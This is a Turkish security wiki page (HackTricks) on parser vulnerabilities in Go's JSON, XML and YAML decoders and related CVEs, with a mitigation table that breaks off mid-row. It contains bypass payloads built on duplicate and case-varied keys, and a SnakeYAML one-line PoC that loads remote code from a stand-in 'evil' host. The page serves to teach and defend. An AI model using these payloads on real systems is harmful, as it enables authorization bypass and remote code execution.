# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Aşağıdaki sorunlar Go JSON'da tespit edilmiştir, ancak diğer dillerde de mevcut olabilir. Bu sorunlar [**bu blog yazısında**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) yayınlanmıştır. Go’nun JSON, XML ve YAML ayrıştırıcıları, **kimlik doğrulamasını atlatmak**, **yetkileri yükseltmek** veya **hassas verileri dışa aktarmak** için kötüye kullanılabilecek uzun bir tutarsızlık ve güvensiz varsayılan ayarlar geçmişine sahiptir. ### (Un)Marshaling Beklenmeyen Veriler Amaç, bir saldırganın hassas alanları okumak/yazmak için izin verilen yapıları istismar etmektir (örneğin, `IsAdmin`, `Password`). - Örnek Yapı: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Yaygın Güvenlik Açıkları 1. **Eksik etiket** (etiket yok = alan varsayılan olarak hala ayrıştırılır): ```go type User struct { Username string } ``` Yük: ```json {"Username": "admin"} ``` 2. **Yanlış `-` kullanımı**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Yük: ```json {"-": true} ``` ✔️ Alanın (un)marshalled olmasını engellemenin doğru yolu: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Parser Farklılıkları Amaç, farklı parser'ların aynı yükü nasıl farklı yorumladığını kullanarak yetkilendirmeyi atlatmaktır, örneğin: - CVE-2017-12635: Tekrar eden anahtarlar aracılığıyla Apache CouchDB atlatması - 2022: XML parser tutarsızlığı aracılığıyla Zoom 0-tıklama RCE - GitLab 2025 SAML atlatması aracılığıyla XML tuhaflıkları **1. Tekrar Eden Alanlar:** Go'nun `encoding/json` **son** alanı alır. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Diğer ayrıştırıcılar (örneğin, Java'nın Jackson'ı) **ilk** olanı alabilir. **2. Büyük/Küçük Harf Duyarsızlığı:** Go büyük/küçük harf duyarsızdır: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Unicode hileleri bile işe yarar: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Hizmetler arası uyumsuzluk:** Hayal edin: - Go ile yazılmış bir Proxy - Python ile yazılmış bir AuthZ servisi Saldırgan gönderir: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python `UserAction`'ı görür, izin verir - Go `AdminAction`'ı görür, yürütür ### Veri Formatı Karışıklığı (Polyglots) Amaç, formatları (JSON/XML/YAML) karıştıran veya ayrıştırıcı hatalarında açık kalan sistemleri istismar etmektir: - **CVE-2020-16250**: HashiCorp Vault, STS'nin XML yerine JSON döndürmesinin ardından JSON'u bir XML ayrıştırıcısı ile ayrıştırdı. Saldırganın kontrol ettiği: - `Accept: application/json` başlığı - JSON gövdesinin kısmi kontrolü Go'nun XML ayrıştırıcısı **yine de** bunu ayrıştırdı ve enjekte edilen kimliğe güvendi. - Özel yük: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` Sonuç: - **Go JSON** ayrıştırıcı: `Action_2` (büyük/küçük harf duyarsız + son kazanan) - **YAML** ayrıştırıcı: `Action_1` (büyük/küçük harf duyarlı) - **XML** ayrıştırıcı: dize içindeki `"Action_3"`'ü ayrıştırır --- ## Dikkate Değer Ayrıştırıcı Güvenlik Açıkları (2023-2025) > Aşağıdaki kamuya açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu göstermektedir — sadece bir Go problemi değildir. ### SnakeYAML Deserialization RCE (CVE-2022-1471) * Etkileyen: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins vb. tarafından kullanılır). * Temel neden: `new Constructor()` **rastgele Java sınıflarını** ayrıştırır, uzaktan kod yürütme ile sonuçlanan gadget zincirlerine izin verir. * Tek satırlık PoC (savunmasız hostta hesap makinesini açar): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Düzeltme / Önleme: 1. **≥2.0'a Yükseltin** (varsayılan olarak `SafeLoader` kullanır). 2. Eski sürümlerde, açıkça `new Yaml(new SafeConstructor())` kullanın. ### libyaml Çift Serbest Bırakma (CVE-2024-35325) * Etkiler: `libyaml` ≤0.2.5 (birçok dil bağlaması tarafından kullanılan C kütüphanesi). * Sorun: `yaml_event_delete()` fonksiyonunun iki kez çağrılması, saldırganların DoS veya bazı senaryolarda heap istismarı yapabileceği bir çift serbest bırakmaya yol açar. * Durum: Üst akış “API kötüye kullanımı” olarak reddetti, ancak Linux dağıtımları, işaretçiyi savunmacı bir şekilde null-serbest bırakan yamanmış **0.2.6** sürümünü gönderdi. ### RapidJSON Tam Sayı (Alt|Üst)-taşma (CVE-2024-38517 / CVE-2024-39684) * Etkiler: Tencent **RapidJSON** `8269bc2` commit'inden önce (<1.1.0-patch-22). * Hata: `GenericReader::ParseNumber()` içinde kontrolsüz aritmetik, saldırganların büyük sayısal literaller oluşturmasına izin verir; bu literaller sarılır ve heap'i bozar — sonuçta, elde edilen nesne grafiği yetkilendirme kararları için kullanıldığında ayrıcalık yükseltmesine olanak tanır. --- ### 🔐 Önlemler (Güncellenmiş) | Risk | Düzeltme / Öneri | |-------------------------------------|------------------------------------------------------------| | Bilinmeyen alanlar (JSON) | `decoder.DisallowUnknownFields()` | | Tekrar eden alanlar (JSON) | ❌ stdlib'de düzeltme yok — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) ile doğrulayın | | Büyük/küçük harf duyarsız eşleşme (Go) | ❌ Düzeltme yok — yapı etiketlerini doğrulayın + girdi ön-canonize edin | | XML çöp verisi / XXE | Sertleştirilmiş bir ayrıştırıcı kullanın (`encoding/xml` + `DisallowDTD`) | | YAML bilinmeyen anahtarlar | `yaml.KnownFields(true)` | | **Güvensiz YAML serileştirmesi** | SafeConstructor kullanın / SnakeYAML ≥2.0'a yükseltin | | libyaml ≤0.2.5 çift serbest bırakma | **0.2.6** veya dağıtım yamanmış sürüme yükseltin | | RapidJSON